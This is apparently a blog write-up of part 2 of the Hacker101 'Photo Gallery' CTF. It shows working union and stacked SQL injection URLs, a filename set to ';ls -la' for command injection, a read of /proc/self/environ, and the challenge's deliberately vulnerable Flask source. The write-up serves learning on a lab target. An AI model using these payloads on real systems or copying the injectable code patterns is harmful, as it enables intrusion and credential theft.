Hacker1 CTF - Photo Gallery (Part 2)

We only captured 1 of 3 flags previously, what about the rest?

Returning to Hacker101

This CTF was started back in part 1 almost a year ago! Back then we captured FLAG 1, but not FLAG 0 or 2. The last hint I used mentioned something suspicious about the

Space used: 0 total

bit at the bottom of the page.

Flag 0

We're pretty sure that we can use a union SQLi based on the hints. But to do what? Well after a looooot of randomly trying things I came to the conclusion that the result of the query would be fed to either code that opens it as a file, or basically instructs the web server to return the filename specified. When you go to the /fetch?id=1 url it returns a jpg but in the raw. That seemed to indicate to me that all we have to do is specify any file we want, and it would be rendered, it wouldn't have to be an image. But what file? How could we guess? We can't seem to specify files outside of the scope of the app, in other words directory traversal to elsewhere in the filesystem didn't seem to work. The hint mentioned uwsgi-nginx-flask-docker so maybe this app is built on that. That means some files might be hanging around:

http://35.227.24.107/0574468654/fetch?id=0%20union%20select%20%27Dockerfile%27

FROM tiangolo/uwsgi-nginx-flask:python2.7 WORKDIR /app RUN apt-get update RUN DEBIAN_FRONTEND=noninteractive apt-get install -y mysql-client mysql-server default-libmysqlclient-dev build-essential ADD requirements.txt /app/ RUN pip install --trusted-host pypi.python.org -r requirements.txt ADD . /app

and:

http://35.227.24.107/0574468654/fetch?id=0%20union%20select%20%27requirements.txt%27

Flask mysqlclient pycrypto 

Ok, so what about the source code itself?

http://35.227.24.107/0574468654/fetch?id=0%20union%20select%20%27main.py%27

from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess

app = Flask(__name__)

home = '''
<!doctype html>
<html>
        <head>
                <title>Magical Image Gallery</title>
        </head>
        <body>
                <h1>Magical Image Gallery</h1>
$ALBUMS$
        </body>
</html>
'''

viewAlbum = '''
<!doctype html>
<html>
        <head>
                <title>$TITLE$ -- Magical Image Gallery</title>
        </head>
        <body>
                <h1>$TITLE$</h1>
$GALLERY$
        </body>
</html>
'''

def getDb():
        return MySQLdb.connect(host="localhost", user="root", password="", db="level5")

def sanitize(data):
        return data.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;')

@app.route('/')
def index():
        cur = getDb().cursor()
        cur.execute('SELECT id, title FROM albums')
        albums = list(cur.fetchall())

        rep = ''
        for id, title in albums:
                rep += '<h2>%s</h2>\n' % sanitize(title)
                rep += '<div>'
                cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
                fns = []
                for pid, ptitle, pfn in cur.fetchall():
                        rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
                        fns.append(pfn)
                rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
                rep += '</div>\n'

        return home.replace('$ALBUMS$', rep)

@app.route('/fetch')
def fetch():
        cur = getDb().cursor()
        if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
                abort(404)

        # It's dangerous to go alone, take this:
        # ^FLAG^****************************************************************$FLAG$

        return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()

if __name__ == "__main__":
        app.run(host='0.0.0.0', port=80)

From that we get flag 0, just hanging around in a comment in the source code. We also get insight into how the size of the album is calculated, in a very risky way it turns out.

Flag 2

http://35.227.24.107/0574468654/fetch?id=1;%20update%20photos%20set%20filename=%22\;ls%20-la%22%20where%20id%20=%203;%20commit

With this we can alter the table. Since the filenames of the photos are used to build up the command line used when calculating the size of the album, we can make the last filename concatenated actually terminate the command and run another one. We prove this out by changing the last photo's filename to ;ls -la and when we refresh the gallery page, we see the output of the directory listing for the working directory of the server:

Space used: -rw-r--r-- 1 root root 40 Sep 8 2018 uwsgi.ini

So what are we looking for? The hint mentions "be aware of your environment" so another thing we could do is to cat the /proc/self/environ:

Space used: PYTHONIOENCODING=UTF-8UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiFLAGS=["^FLAG^****************************************************************$FLAG$", "^FLAG^****************************************************************$FLAG$", "^FLAG^****************************************************************$FLAG$"]HOSTNAME=0574468654bcSHLVL=0PYTHON_PIP_VERSION=18.0HOME=/rootGPG_KEY=C01E1CAD5EA2C4F0B8E3571504C367C218ADD4FFUWSGI_INI=/app/uwsgi.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=2.7.15NGINX_WORKER_PROCESSES=1SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/appSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

Well that's cool! I guess the lesson is knowing the environment variables set for an application can be usefule knowledge. Some times apps are run with credentials specified in the environment variables, for example.

It was a long time ago that I started this CTF, I came back to it because I like the Hacker101 CTFs and felt frustrated that I hadn't finished this one out. I thought, too, that I might have learned a few more tricks since then that would come in handy.